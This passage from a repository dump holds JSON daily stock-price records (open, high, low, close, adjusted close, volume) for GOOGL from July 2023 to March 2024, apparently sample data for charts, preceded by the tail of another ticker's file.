  },
  {
    "date": "2024-07-18",
    "open": 189.589996,
    "high": 189.679993,
    "low": 181.449997,
    "close": 183.75,
    "adjClose": 183.75,
    "volume": 51043600
  },
  {
    "date": "2024-07-19",
    "open": 181.139999,
    "high": 184.929993,
    "low": 180.110001,
    "close": 183.130005,
    "adjClose": 183.130005,
    "volume": 43081800
  },
  {
    "date": "2024-07-22",
    "open": 185.0,
    "high": 185.059998,
    "low": 182.479996,
    "close": 182.550003,
    "adjClose": 182.550003,
    "volume": 39874900
  }
]

---

### Data Charts Dataset GOOGL.Json (`docs/data/charts/dataset/GOOGL.json`)

[
  {
    "date": "2023-07-24",
    "open": 121.660004,
    "high": 123.0,
    "low": 120.980003,
    "close": 121.529999,
    "adjClose": 121.390678,
    "volume": 29686100
  },
  {
    "date": "2023-07-25",
    "open": 121.360001,
    "high": 123.150002,
    "low": 121.019997,
    "close": 122.209999,
    "adjClose": 122.069901,
    "volume": 52509600
  },
  {
    "date": "2023-07-26",
    "open": 130.070007,
    "high": 130.979996,
    "low": 128.320007,
    "close": 129.270004,
    "adjClose": 129.121811,
    "volume": 61682100
  },
  {
    "date": "2023-07-27",
    "open": 131.669998,
    "high": 133.240005,
    "low": 128.789993,
    "close": 129.399994,
    "adjClose": 129.251648,
    "volume": 44952100
  },
  {
    "date": "2023-07-28",
    "open": 130.779999,
    "high": 133.740005,
    "low": 130.570007,
    "close": 132.580002,
    "adjClose": 132.428009,
    "volume": 36591200
  },
  {
    "date": "2023-07-31",
    "open": 132.729996,
    "high": 133.529999,
    "low": 131.779999,
    "close": 132.720001,
    "adjClose": 132.567856,
    "volume": 28055500
  },
  {
    "date": "2023-08-01",
    "open": 130.779999,
    "high": 132.630005,
    "low": 130.679993,
    "close": 131.550003,
    "adjClose": 131.3992,
    "volume": 23166800
  },
  {
    "date": "2023-08-02",
    "open": 129.449997,
    "high": 130.089996,
    "low": 127.559998,
    "close": 128.380005,
    "adjClose": 128.232834,
    "volume": 26273300
  },
  {
    "date": "2023-08-03",
    "open": 127.970001,
    "high": 129.389999,
    "low": 127.419998,
    "close": 128.449997,
    "adjClose": 128.30275,
    "volume": 20089500
  },
  {
    "date": "2023-08-04",
    "open": 129.279999,
    "high": 131.509995,
    "low": 127.910004,
    "close": 128.110001,
    "adjClose": 127.963135,
    "volume": 26130000
  },
  {
    "date": "2023-08-07",
    "open": 129.160004,
    "high": 131.610001,
    "low": 129.020004,
    "close": 131.529999,
    "adjClose": 131.379211,
    "volume": 22746300
  },
  {
    "date": "2023-08-08",
    "open": 130.619995,
    "high": 131.509995,
    "low": 129.539993,
    "close": 131.399994,
    "adjClose": 131.249359,
    "volume": 23535200
  },
  {
    "date": "2023-08-09",
    "open": 131.660004,
    "high": 132.039993,
    "low": 129.0,
    "close": 129.660004,
    "adjClose": 129.511368,
    "volume": 24912900
  },
  {
    "date": "2023-08-10",
    "open": 131.320007,
    "high": 132.050003,
    "low": 129.449997,
    "close": 129.690002,
    "adjClose": 129.541336,
    "volume": 20857800
  },
  {
    "date": "2023-08-11",
    "open": 128.660004,
    "high": 129.929993,
    "low": 128.169998,
    "close": 129.559998,
    "adjClose": 129.411469,
    "volume": 19569200
  },
  {
    "date": "2023-08-14",
    "open": 129.389999,
    "high": 131.369995,
    "low": 128.960007,
    "close": 131.330002,
    "adjClose": 131.179443,
    "volume": 24695600
  },
  {
    "date": "2023-08-15",
    "open": 131.100006,
    "high": 131.419998,
    "low": 129.279999,
    "close": 129.779999,
    "adjClose": 129.631226,
    "volume": 19770700
  },
  {
    "date": "2023-08-16",
    "open": 128.699997,
    "high": 130.279999,
    "low": 127.870003,
    "close": 128.699997,
    "adjClose": 128.55246,
    "volume": 25216100
  },
  {
    "date": "2023-08-17",
    "open": 129.800003,
    "high": 131.990005,
    "low": 129.289993,
    "close": 129.919998,
    "adjClose": 129.771057,
    "volume": 33446300
  },
  {
    "date": "2023-08-18",
    "open": 128.509995,
    "high": 129.25,
    "low": 126.379997,
    "close": 127.459999,
    "adjClose": 127.313881,
    "volume": 30491300
  },
  {
    "date": "2023-08-21",
    "open": 127.18,
    "high": 128.729996,
    "low": 126.559998,
    "close": 128.369995,
    "adjClose": 128.222839,
    "volume": 25248700
  },
  {
    "date": "2023-08-22",
    "open": 128.509995,
    "high": 130.279999,
    "low": 128.320007,
    "close": 129.080002,
    "adjClose": 128.932022,
    "volume": 22067500
  },
  {
    "date": "2023-08-23",
    "open": 130.179993,
    "high": 133.410004,
    "low": 129.869995,
    "close": 132.369995,
    "adjClose": 132.218246,
    "volume": 27819700
  },
  {
    "date": "2023-08-24",
    "open": 133.949997,
    "high": 134.25,
    "low": 129.570007,
    "close": 129.779999,
    "adjClose": 129.631226,
    "volume": 28500700
  },
  {
    "date": "2023-08-25",
    "open": 129.539993,
    "high": 130.759995,
    "low": 127.25,
    "close": 129.880005,
    "adjClose": 129.73111,
    "volume": 26762900
  },
  {
    "date": "2023-08-28",
    "open": 131.309998,
    "high": 132.539993,
    "low": 130.139999,
    "close": 131.009995,
    "adjClose": 130.859802,
    "volume": 20543300
  },
  {
    "date": "2023-08-29",
    "open": 132.240005,
    "high": 136.570007,
    "low": 132.240005,
    "close": 134.570007,
    "adjClose": 134.415741,
    "volume": 43075600
  },
  {
    "date": "2023-08-30",
    "open": 134.779999,
    "high": 136.279999,
    "low": 134.070007,
    "close": 135.880005,
    "adjClose": 135.724228,
    "volume": 28315800
  },
  {
    "date": "2023-08-31",
    "open": 136.009995,
    "high": 138.0,
    "low": 135.789993,
    "close": 136.169998,
    "adjClose": 136.013901,
    "volume": 30053800
  },
  {
    "date": "2023-09-01",
    "open": 137.460007,
    "high": 137.460007,
    "low": 134.850006,
    "close": 135.660004,
    "adjClose": 135.504486,
    "volume": 21524600
  },
  {
    "date": "2023-09-05",
    "open": 135.440002,
    "high": 136.419998,
    "low": 134.580002,
    "close": 135.770004,
    "adjClose": 135.614365,
    "volume": 19403100
  },
  {
    "date": "2023-09-06",
    "open": 136.020004,
    "high": 136.529999,
    "low": 133.669998,
    "close": 134.460007,
    "adjClose": 134.305862,
    "volume": 18684500
  },
  {
    "date": "2023-09-07",
    "open": 133.589996,
    "high": 135.580002,
    "low": 132.949997,
    "close": 135.259995,
    "adjClose": 135.104935,
    "volume": 18844300
  },
  {
    "date": "2023-09-08",
    "open": 134.910004,
    "high": 136.660004,
    "low": 134.850006,
    "close": 136.380005,
    "adjClose": 136.223663,
    "volume": 23558300
  },
  {
    "date": "2023-09-11",
    "open": 136.539993,
    "high": 137.479996,
    "low": 135.789993,
    "close": 136.919998,
    "adjClose": 136.763031,
    "volume": 20763400
  },
  {
    "date": "2023-09-12",
    "open": 136.259995,
    "high": 136.869995,
    "low": 135.190002,
    "close": 135.339996,
    "adjClose": 135.184845,
    "volume": 18405500
  },
  {
    "date": "2023-09-13",
    "open": 135.089996,
    "high": 136.899994,
    "low": 134.149994,
    "close": 136.710007,
    "adjClose": 136.553284,
    "volume": 20749500
  },
  {
    "date": "2023-09-14",
    "open": 137.600006,
    "high": 138.699997,
    "low": 136.240005,
    "close": 138.100006,
    "adjClose": 137.941696,
    "volume": 24751000
  },
  {
    "date": "2023-09-15",
    "open": 137.979996,
    "high": 138.520004,
    "low": 136.479996,
    "close": 137.399994,
    "adjClose": 137.242477,
    "volume": 38908400
  },
  {
    "date": "2023-09-18",
    "open": 136.610001,
    "high": 139.160004,
    "low": 136.610001,
    "close": 138.210007,
    "adjClose": 138.051559,
    "volume": 21861300
  },
  {
    "date": "2023-09-19",
    "open": 137.419998,
    "high": 138.410004,
    "low": 136.619995,
    "close": 138.039993,
    "adjClose": 137.881744,
    "volume": 20353700
  },
  {
    "date": "2023-09-20",
    "open": 138.080002,
    "high": 138.080002,
    "low": 133.619995,
    "close": 133.740005,
    "adjClose": 133.586685,
    "volume": 29927500
  },
  {
    "date": "2023-09-21",
    "open": 131.440002,
    "high": 132.229996,
    "low": 130.070007,
    "close": 130.440002,
    "adjClose": 130.290466,
    "volume": 31488700
  },
  {
    "date": "2023-09-22",
    "open": 130.759995,
    "high": 132.029999,
    "low": 129.600006,
    "close": 130.25,
    "adjClose": 130.100677,
    "volume": 26397300
  },
  {
    "date": "2023-09-25",
    "open": 129.830002,
    "high": 131.169998,
    "low": 128.960007,
    "close": 131.110001,
    "adjClose": 130.959702,
    "volume": 20094600
  },
  {
    "date": "2023-09-26",
    "open": 129.770004,
    "high": 130.360001,
    "low": 127.220001,
    "close": 128.570007,
    "adjClose": 128.422623,
    "volume": 25718700
  },
  {
    "date": "2023-09-27",
    "open": 128.570007,
    "high": 130.899994,
    "low": 128.570007,
    "close": 130.539993,
    "adjClose": 130.39035,
    "volume": 22746500
  },
  {
    "date": "2023-09-28",
    "open": 129.839996,
    "high": 133.300003,
    "low": 129.789993,
    "close": 132.309998,
    "adjClose": 132.158325,
    "volume": 22513100
  },
  {
    "date": "2023-09-29",
    "open": 133.279999,
    "high": 134.050003,
    "low": 130.360001,
    "close": 130.860001,
    "adjClose": 130.709991,
    "volume": 30848100
  },
  {
    "date": "2023-10-02",
    "open": 131.210007,
    "high": 134.419998,
    "low": 131.169998,
    "close": 134.169998,
    "adjClose": 134.01619,
    "volume": 22288000
  },
  {
    "date": "2023-10-03",
    "open": 133.940002,
    "high": 134.259995,
    "low": 131.839996,
    "close": 132.429993,
    "adjClose": 132.278183,
    "volume": 22989400
  },
  {
    "date": "2023-10-04",
    "open": 132.789993,
    "high": 135.570007,
    "low": 132.529999,
    "close": 135.240005,
    "adjClose": 135.084976,
    "volume": 26752300
  },
  {
    "date": "2023-10-05",
    "open": 135.070007,
    "high": 135.490005,
    "low": 133.449997,
    "close": 135.070007,
    "adjClose": 134.915161,
    "volume": 19832600
  },
  {
    "date": "2023-10-06",
    "open": 134.009995,
    "high": 138.160004,
    "low": 134.009995,
    "close": 137.580002,
    "adjClose": 137.422287,
    "volume": 27583200
  },
  {
    "date": "2023-10-09",
    "open": 136.940002,
    "high": 138.940002,
    "low": 135.610001,
    "close": 138.419998,
    "adjClose": 138.261322,
    "volume": 19278100
  },
  {
    "date": "2023-10-10",
    "open": 138.5,
    "high": 139.720001,
    "low": 137.330002,
    "close": 138.059998,
    "adjClose": 137.901733,
    "volume": 27786600
  },
  {
    "date": "2023-10-11",
    "open": 138.580002,
    "high": 141.110001,
    "low": 138.580002,
    "close": 140.550003,
    "adjClose": 140.388885,
    "volume": 25884300
  },
  {
    "date": "2023-10-12",
    "open": 141.050003,
    "high": 141.220001,
    "low": 138.259995,
    "close": 138.970001,
    "adjClose": 138.810684,
    "volume": 24765500
  },
  {
    "date": "2023-10-13",
    "open": 139.380005,
    "high": 140.0,
    "low": 136.619995,
    "close": 137.360001,
    "adjClose": 137.20253,
    "volume": 23420500
  },
  {
    "date": "2023-10-16",
    "open": 138.169998,
    "high": 139.630005,
    "low": 137.990005,
    "close": 139.100006,
    "adjClose": 138.940552,
    "volume": 28501900
  },
  {
    "date": "2023-10-17",
    "open": 138.630005,
    "high": 139.899994,
    "low": 137.179993,
    "close": 139.720001,
    "adjClose": 139.55983,
    "volume": 23515800
  },
  {
    "date": "2023-10-18",
    "open": 139.449997,
    "high": 140.720001,
    "low": 137.380005,
    "close": 137.960007,
    "adjClose": 137.801849,
    "volume": 23375000
  },
  {
    "date": "2023-10-19",
    "open": 138.5,
    "high": 139.660004,
    "low": 137.380005,
    "close": 137.75,
    "adjClose": 137.592087,
    "volume": 26066000
  },
  {
    "date": "2023-10-20",
    "open": 137.330002,
    "high": 137.869995,
    "low": 135.080002,
    "close": 135.600006,
    "adjClose": 135.444565,
    "volume": 26315200
  },
  {
    "date": "2023-10-23",
    "open": 135.039993,
    "high": 137.660004,
    "low": 133.949997,
    "close": 136.5,
    "adjClose": 136.343521,
    "volume": 26317900
  },
  {
    "date": "2023-10-24",
    "open": 137.830002,
    "high": 139.360001,
    "low": 137.419998,
    "close": 138.809998,
    "adjClose": 138.650864,
    "volume": 44814300
  },
  {
    "date": "2023-10-25",
    "open": 128.160004,
    "high": 128.309998,
    "low": 125.07,
    "close": 125.610001,
    "adjClose": 125.466003,
    "volume": 84366200
  },
  {
    "date": "2023-10-26",
    "open": 123.269997,
    "high": 124.330002,
    "low": 121.269997,
    "close": 122.279999,
    "adjClose": 122.139816,
    "volume": 57061100
  },
  {
    "date": "2023-10-27",
    "open": 122.879997,
    "high": 123.309998,
    "low": 120.209999,
    "close": 122.169998,
    "adjClose": 122.029945,
    "volume": 44566500
  },
  {
    "date": "2023-10-30",
    "open": 123.209999,
    "high": 125.400002,
    "low": 122.75,
    "close": 124.459999,
    "adjClose": 124.317322,
    "volume": 28940100
  },
  {
    "date": "2023-10-31",
    "open": 125.059998,
    "high": 125.370003,
    "low": 122.690002,
    "close": 124.080002,
    "adjClose": 123.937759,
    "volume": 26292300
  },
  {
    "date": "2023-11-01",
    "open": 124.07,
    "high": 126.489998,
    "low": 123.720001,
    "close": 126.449997,
    "adjClose": 126.305038,
    "volume": 30082400
  },
  {
    "date": "2023-11-02",
    "open": 128.419998,
    "high": 128.979996,
    "low": 126.93,
    "close": 127.489998,
    "adjClose": 127.343849,
    "volume": 27124600
  },
  {
    "date": "2023-11-03",
    "open": 128.020004,
    "high": 129.529999,
    "low": 127.860001,
    "close": 129.100006,
    "adjClose": 128.952011,
    "volume": 26380100
  },
  {
    "date": "2023-11-06",
    "open": 129.050003,
    "high": 130.339996,
    "low": 128.669998,
    "close": 130.25,
    "adjClose": 130.100677,
    "volume": 19052700
  },
  {
    "date": "2023-11-07",
    "open": 130.710007,
    "high": 131.910004,
    "low": 129.880005,
    "close": 130.970001,
    "adjClose": 130.819855,
    "volume": 29757300
  },
  {
    "date": "2023-11-08",
    "open": 130.970001,
    "high": 132.210007,
    "low": 130.779999,
    "close": 131.839996,
    "adjClose": 131.688858,
    "volume": 26425800
  },
  {
    "date": "2023-11-09",
    "open": 131.960007,
    "high": 132.550003,
    "low": 130.070007,
    "close": 130.240005,
    "adjClose": 130.090698,
    "volume": 23747800
  },
  {
    "date": "2023-11-10",
    "open": 130.100006,
    "high": 132.800003,
    "low": 129.410004,
    "close": 132.589996,
    "adjClose": 132.438004,
    "volume": 26913300
  },
  {
    "date": "2023-11-13",
    "open": 131.779999,
    "high": 132.589996,
    "low": 131.25,
    "close": 132.089996,
    "adjClose": 131.938568,
    "volume": 18324800
  },
  {
    "date": "2023-11-14",
    "open": 134.190002,
    "high": 135.699997,
    "low": 133.320007,
    "close": 133.619995,
    "adjClose": 133.466812,
    "volume": 32395200
  },
  {
    "date": "2023-11-15",
    "open": 134.869995,
    "high": 135.029999,
    "low": 133.570007,
    "close": 134.619995,
    "adjClose": 134.465668,
    "volume": 23861500
  },
  {
    "date": "2023-11-16",
    "open": 135.190002,
    "high": 137.220001,
    "low": 134.320007,
    "close": 136.929993,
    "adjClose": 136.773026,
    "volume": 28013200
  },
  {
    "date": "2023-11-17",
    "open": 136.0,
    "high": 136.059998,
    "low": 133.649994,
    "close": 135.309998,
    "adjClose": 135.154877,
    "volume": 37240600
  },
  {
    "date": "2023-11-20",
    "open": 133.690002,
    "high": 136.660004,
    "low": 133.619995,
    "close": 136.25,
    "adjClose": 136.093811,
    "volume": 27815500
  },
  {
    "date": "2023-11-21",
    "open": 136.289993,
    "high": 137.179993,
    "low": 135.960007,
    "close": 136.970001,
    "adjClose": 136.812988,
    "volume": 22635300
  },
  {
    "date": "2023-11-22",
    "open": 137.470001,
    "high": 139.419998,
    "low": 137.470001,
    "close": 138.490005,
    "adjClose": 138.331238,
    "volume": 17813900
  },
  {
    "date": "2023-11-24",
    "open": 138.029999,
    "high": 138.130005,
    "low": 135.990005,
    "close": 136.690002,
    "adjClose": 136.53331,
    "volume": 12514300
  },
  {
    "date": "2023-11-27",
    "open": 136.029999,
    "high": 138.419998,
    "low": 136.0,
    "close": 136.410004,
    "adjClose": 136.253632,
    "volume": 23436500
  },
  {
    "date": "2023-11-28",
    "open": 136.080002,
    "high": 137.25,
    "low": 135.419998,
    "close": 137.199997,
    "adjClose": 137.042709,
    "volume": 18730000
  },
  {
    "date": "2023-11-29",
    "open": 137.570007,
    "high": 138.289993,
    "low": 134.839996,
    "close": 134.990005,
    "adjClose": 134.835251,
    "volume": 23967200
  },
  {
    "date": "2023-11-30",
    "open": 135.050003,
    "high": 135.550003,
    "low": 131.279999,
    "close": 132.529999,
    "adjClose": 132.378067,
    "volume": 38988300
  },
  {
    "date": "2023-12-01",
    "open": 131.860001,
    "high": 132.110001,
    "low": 130.669998,
    "close": 131.860001,
    "adjClose": 131.708847,
    "volume": 31431200
  },
  {
    "date": "2023-12-04",
    "open": 129.880005,
    "high": 130.029999,
    "low": 127.900002,
    "close": 129.270004,
    "adjClose": 129.121811,
    "volume": 36669900
  },
  {
    "date": "2023-12-05",
    "open": 128.949997,
    "high": 132.139999,
    "low": 128.25,
    "close": 130.990005,
    "adjClose": 130.839844,
    "volume": 27384800
  },
  {
    "date": "2023-12-06",
    "open": 131.440002,
    "high": 131.839996,
    "low": 129.880005,
    "close": 130.020004,
    "adjClose": 129.870956,
    "volume": 23576200
  },
  {
    "date": "2023-12-07",
    "open": 135.039993,
    "high": 138.559998,
    "low": 134.699997,
    "close": 136.929993,
    "adjClose": 136.773026,
    "volume": 56767100
  },
  {
    "date": "2023-12-08",
    "open": 134.199997,
    "high": 136.399994,
    "low": 134.029999,
    "close": 134.990005,
    "adjClose": 134.835251,
    "volume": 32233900
  },
  {
    "date": "2023-12-11",
    "open": 132.380005,
    "high": 133.339996,
    "low": 131.360001,
    "close": 133.289993,
    "adjClose": 133.137192,
    "volume": 31138000
  },
  {
    "date": "2023-12-12",
    "open": 131.809998,
    "high": 133.0,
    "low": 131.259995,
    "close": 132.520004,
    "adjClose": 132.368088,
    "volume": 29032800
  },
  {
    "date": "2023-12-13",
    "open": 133.380005,
    "high": 133.5,
    "low": 131.570007,
    "close": 132.570007,
    "adjClose": 132.41803,
    "volume": 30104800
  },
  {
    "date": "2023-12-14",
    "open": 133.380005,
    "high": 133.720001,
    "low": 129.690002,
    "close": 131.940002,
    "adjClose": 131.788742,
    "volume": 38722400
  },
  {
    "date": "2023-12-15",
    "open": 131.619995,
    "high": 133.509995,
    "low": 131.179993,
    "close": 132.600006,
    "adjClose": 132.447998,
    "volume": 50815200
  },
  {
    "date": "2023-12-18",
    "open": 132.630005,
    "high": 137.149994,
    "low": 132.429993,
    "close": 135.800003,
    "adjClose": 135.644318,
    "volume": 32258000
  },
  {
    "date": "2023-12-19",
    "open": 136.839996,
    "high": 137.470001,
    "low": 136.080002,
    "close": 136.649994,
    "adjClose": 136.493347,
    "volume": 25476800
  },
  {
    "date": "2023-12-20",
    "open": 138.970001,
    "high": 141.699997,
    "low": 138.070007,
    "close": 138.339996,
    "adjClose": 138.181412,
    "volume": 49107200
  },
  {
    "date": "2023-12-21",
    "open": 139.490005,
    "high": 140.690002,
    "low": 139.179993,
    "close": 140.419998,
    "adjClose": 140.259018,
    "volume": 27488300
  },
  {
    "date": "2023-12-22",
    "open": 140.770004,
    "high": 141.990005,
    "low": 140.710007,
    "close": 141.490005,
    "adjClose": 141.327805,
    "volume": 26514600
  },
  {
    "date": "2023-12-26",
    "open": 141.589996,
    "high": 142.679993,
    "low": 141.190002,
    "close": 141.520004,
    "adjClose": 141.357773,
    "volume": 16780300
  },
  {
    "date": "2023-12-27",
    "open": 141.589996,
    "high": 142.080002,
    "low": 139.889999,
    "close": 140.369995,
    "adjClose": 140.209076,
    "volume": 19628600
  },
  {
    "date": "2023-12-28",
    "open": 140.779999,
    "high": 141.139999,
    "low": 139.75,
    "close": 140.229996,
    "adjClose": 140.069244,
    "volume": 16045700
  },
  {
    "date": "2023-12-29",
    "open": 139.630005,
    "high": 140.360001,
    "low": 138.779999,
    "close": 139.690002,
    "adjClose": 139.529861,
    "volume": 18727200
  },
  {
    "date": "2024-01-02",
    "open": 138.550003,
    "high": 139.449997,
    "low": 136.479996,
    "close": 138.169998,
    "adjClose": 138.011597,
    "volume": 23711200
  },
  {
    "date": "2024-01-03",
    "open": 137.25,
    "high": 139.630005,
    "low": 137.080002,
    "close": 138.919998,
    "adjClose": 138.760742,
    "volume": 24212100
  },
  {
    "date": "2024-01-04",
    "open": 138.419998,
    "high": 139.160004,
    "low": 136.350006,
    "close": 136.389999,
    "adjClose": 136.233643,
    "volume": 27137700
  },
  {
    "date": "2024-01-05",
    "open": 136.75,
    "high": 137.160004,
    "low": 135.149994,
    "close": 135.729996,
    "adjClose": 135.574402,
    "volume": 22506000
  },
  {
    "date": "2024-01-08",
    "open": 136.289993,
    "high": 139.009995,
    "low": 136.259995,
    "close": 138.839996,
    "adjClose": 138.680832,
    "volume": 21404000
  },
  {
    "date": "2024-01-09",
    "open": 138.5,
    "high": 141.490005,
    "low": 138.149994,
    "close": 140.949997,
    "adjClose": 140.788422,
    "volume": 24759600
  },
  {
    "date": "2024-01-10",
    "open": 141.0,
    "high": 143.0,
    "low": 140.910004,
    "close": 142.279999,
    "adjClose": 142.116898,
    "volume": 21320200
  },
  {
    "date": "2024-01-11",
    "open": 143.490005,
    "high": 145.220001,
    "low": 140.639999,
    "close": 142.080002,
    "adjClose": 141.91713,
    "volume": 24008700
  },
  {
    "date": "2024-01-12",
    "open": 142.669998,
    "high": 143.199997,
    "low": 141.820007,
    "close": 142.649994,
    "adjClose": 142.486465,
    "volume": 18768600
  },
  {
    "date": "2024-01-16",
    "open": 142.0,
    "high": 144.350006,
    "low": 141.449997,
    "close": 142.490005,
    "adjClose": 142.32666,
    "volume": 22670500
  },
  {
    "date": "2024-01-17",
    "open": 141.350006,
    "high": 141.839996,
    "low": 138.899994,
    "close": 141.470001,
    "adjClose": 141.307831,
    "volume": 20968600
  },
  {
    "date": "2024-01-18",
    "open": 142.050003,
    "high": 144.210007,
    "low": 141.990005,
    "close": 143.479996,
    "adjClose": 143.315521,
    "volume": 25746400
  },
  {
    "date": "2024-01-19",
    "open": 144.740005,
    "high": 146.449997,
    "low": 144.380005,
    "close": 146.380005,
    "adjClose": 146.212204,
    "volume": 33300700
  },
  {
    "date": "2024-01-22",
    "open": 147.100006,
    "high": 148.389999,
    "low": 145.839996,
    "close": 145.990005,
    "adjClose": 145.822647,
    "volume": 32200400
  },
  {
    "date": "2024-01-23",
    "open": 145.889999,
    "high": 147.179993,
    "low": 145.5,
    "close": 147.039993,
    "adjClose": 146.871429,
    "volume": 21636100
  },
  {
    "date": "2024-01-24",
    "open": 148.539993,
    "high": 149.850006,
    "low": 148.100006,
    "close": 148.699997,
    "adjClose": 148.529526,
    "volume": 25233500
  },
  {
    "date": "2024-01-25",
    "open": 150.070007,
    "high": 153.050003,
    "low": 149.539993,
    "close": 151.869995,
    "adjClose": 151.695892,
    "volume": 29149100
  },
  {
    "date": "2024-01-26",
    "open": 151.100006,
    "high": 152.539993,
    "low": 151.009995,
    "close": 152.190002,
    "adjClose": 152.015533,
    "volume": 26115500
  },
  {
    "date": "2024-01-29",
    "open": 152.059998,
    "high": 153.779999,
    "low": 151.429993,
    "close": 153.509995,
    "adjClose": 153.334015,
    "volume": 27784300
  },
  {
    "date": "2024-01-30",
    "open": 152.800003,
    "high": 153.619995,
    "low": 151.190002,
    "close": 151.460007,
    "adjClose": 151.286377,
    "volume": 36331800
  },
  {
    "date": "2024-01-31",
    "open": 143.619995,
    "high": 144.0,
    "low": 139.869995,
    "close": 140.100006,
    "adjClose": 139.939392,
    "volume": 71910000
  },
  {
    "date": "2024-02-01",
    "open": 142.119995,
    "high": 143.059998,
    "low": 140.789993,
    "close": 141.160004,
    "adjClose": 140.998184,
    "volume": 40466500
  },
  {
    "date": "2024-02-02",
    "open": 139.259995,
    "high": 142.619995,
    "low": 136.5,
    "close": 142.380005,
    "adjClose": 142.216782,
    "volume": 62470600
  },
  {
    "date": "2024-02-05",
    "open": 142.820007,
    "high": 145.470001,
    "low": 142.779999,
    "close": 143.679993,
    "adjClose": 143.515274,
    "volume": 38505400
  },
  {
    "date": "2024-02-06",
    "open": 144.649994,
    "high": 145.360001,
    "low": 143.190002,
    "close": 144.100006,
    "adjClose": 143.934814,
    "volume": 29128200
  },
  {
    "date": "2024-02-07",
    "open": 144.759995,
    "high": 145.619995,
    "low": 143.929993,
    "close": 145.539993,
    "adjClose": 145.373154,
    "volume": 25208900
  },
  {
    "date": "2024-02-08",
    "open": 145.830002,
    "high": 146.330002,
    "low": 145.100006,
    "close": 145.910004,
    "adjClose": 145.742737,
    "volume": 22563800
  },
  {
    "date": "2024-02-09",
    "open": 146.679993,
    "high": 149.440002,
    "low": 146.179993,
    "close": 149.0,
    "adjClose": 148.829193,
    "volume": 26829500
  },
  {
    "date": "2024-02-12",
    "open": 148.419998,
    "high": 149.339996,
    "low": 147.369995,
    "close": 147.529999,
    "adjClose": 147.36087,
    "volume": 21564100
  },
  {
    "date": "2024-02-13",
    "open": 144.919998,
    "high": 146.669998,
    "low": 143.690002,
    "close": 145.139999,
    "adjClose": 144.973618,
    "volume": 27837700
  },
  {
    "date": "2024-02-14",
    "open": 146.080002,
    "high": 146.520004,
    "low": 144.089996,
    "close": 145.940002,
    "adjClose": 145.772705,
    "volume": 22704200
  },
  {
    "date": "2024-02-15",
    "open": 143.139999,
    "high": 143.520004,
    "low": 140.460007,
    "close": 142.770004,
    "adjClose": 142.606339,
    "volume": 37590700
  },
  {
    "date": "2024-02-16",
    "open": 142.990005,
    "high": 143.190002,
    "low": 140.139999,
    "close": 140.520004,
    "adjClose": 140.358917,
    "volume": 31451100
  },
  {
    "date": "2024-02-20",
    "open": 139.660004,
    "high": 142.080002,
    "low": 139.490005,
    "close": 141.119995,
    "adjClose": 140.958221,
    "volume": 25144700
  },
  {
    "date": "2024-02-21",
    "open": 141.449997,
    "high": 142.690002,
    "low": 140.679993,
    "close": 142.550003,
    "adjClose": 142.386581,
    "volume": 23315700
  },
  {
    "date": "2024-02-22",
    "open": 144.929993,
    "high": 145.0,
    "low": 142.800003,
    "close": 144.089996,
    "adjClose": 143.92482,
    "volume": 27191900
  },
  {
    "date": "2024-02-23",
    "open": 143.669998,
    "high": 144.679993,
    "low": 143.429993,
    "close": 143.960007,
    "adjClose": 143.794968,
    "volume": 19493800
  },
  {
    "date": "2024-02-26",
    "open": 142.139999,
    "high": 142.440002,
    "low": 137.389999,
    "close": 137.570007,
    "adjClose": 137.412308,
    "volume": 53641800
  },
  {
    "date": "2024-02-27",
    "open": 138.020004,
    "high": 139.25,
    "low": 137.089996,
    "close": 138.880005,
    "adjClose": 138.720795,
    "volume": 33099200
  },
  {
    "date": "2024-02-28",
    "open": 137.899994,
    "high": 138.009995,
    "low": 135.410004,
    "close": 136.380005,
    "adjClose": 136.223663,
    "volume": 37328600
  },
  {
    "date": "2024-02-29",
    "open": 137.279999,
    "high": 138.860001,
    "low": 136.399994,
    "close": 138.460007,
    "adjClose": 138.301285,
    "volume": 42133000
  },
  {
    "date": "2024-03-01",
    "open": 138.429993,
    "high": 138.869995,
    "low": 136.919998,
    "close": 137.139999,
    "adjClose": 136.982788,
    "volume": 31119500
  },
  {
    "date": "2024-03-04",
    "open": 135.660004,
    "high": 135.660004,
    "low": 131.910004,
    "close": 133.350006,
    "adjClose": 133.197144,
    "volume": 55999400
  },
  {
    "date": "2024-03-05",
    "open": 131.880005,
    "high": 133.240005,
    "low": 130.669998,
    "close": 132.669998,
    "adjClose": 132.517914,
    "volume": 40194800
  },
  {
    "date": "2024-03-06",
    "open": 133.119995,
    "high": 133.580002,
    "low": 130.850006,
    "close": 131.399994,
    "adjClose": 131.249359,
    "volume": 35318600
  },
  {
    "date": "2024-03-07",
    "open": 132.789993,
    "high": 134.940002,
    "low": 131.610001,
    "close": 134.380005,
    "adjClose": 134.225952,
    "volume": 37738200
  },
  {
    "date": "2024-03-08",
    "open": 134.210007,
    "high": 138.089996,
    "low": 134.0,
    "close": 135.410004,
    "adjClose": 135.254776,
    "volume": 39343100
  },
  {
    "date": "2024-03-11",
    "open": 136.130005,
    "high": 139.100006,
    "low": 136.130005,
    "close": 137.669998,
    "adjClose": 137.512177,
    "volume": 32437800
  },
  {
    "date": "2024-03-12",
    "open": 137.029999,
    "high": 139.380005,
    "low": 137.029999,
    "close": 138.5,
    "adjClose": 138.341232,
    "volume": 27563400
  },
  {
    "date": "2024-03-13",
    "open": 139.0,
    "high": 141.089996,
    "low": 138.990005,
    "close": 139.789993,
    "adjClose": 139.629745,
    "volume": 23347200
  },
  {
    "date": "2024-03-14",
    "open": 141.190002,
    "high": 143.589996,
    "low": 140.460007,
    "close": 143.100006,
    "adjClose": 142.935959,
    "volume": 42753400
  },
  {
    "date": "2024-03-15",
    "open": 142.5,
    "high": 143.179993,
    "low": 140.029999,
    "close": 141.179993,
    "adjClose": 141.018143,
    "volume": 49460600
  },
  {
    "date": "2024-03-18",
    "open": 148.610001,
    "high": 152.149994,
    "low": 147.169998,
    "close": 147.679993,
    "adjClose": 147.510696,
    "volume": 69273700
  },
  {
    "date": "2024-03-19",
    "open": 148.160004,
    "high": 148.789993,
    "low": 146.080002,
    "close": 147.029999,
    "adjClose": 146.86145,
    "volume": 24070400
  },
  {
    "date": "2024-03-20",
    "open": 148.0,
    "high": 148.860001,
    "low": 146.740005,
    "close": 148.740005,
    "adjClose": 148.569489,
    "volume": 21311500
  },
  {
    "date": "2024-03-21",
    "open": 149.470001,
    "high": 150.369995,
    "low": 146.899994,
    "close": 147.600006,
    "adjClose": 147.430801,
    "volume": 24755600
  },
  {
    "date": "2024-03-22",
    "open": 149.119995,
    "high": 151.580002,
    "low": 148.979996,
    "close": 150.770004,
    "adjClose": 150.597168,
    "volume": 29175700
  },
  {
    "date": "2024-03-25",
    "open": 149.940002,
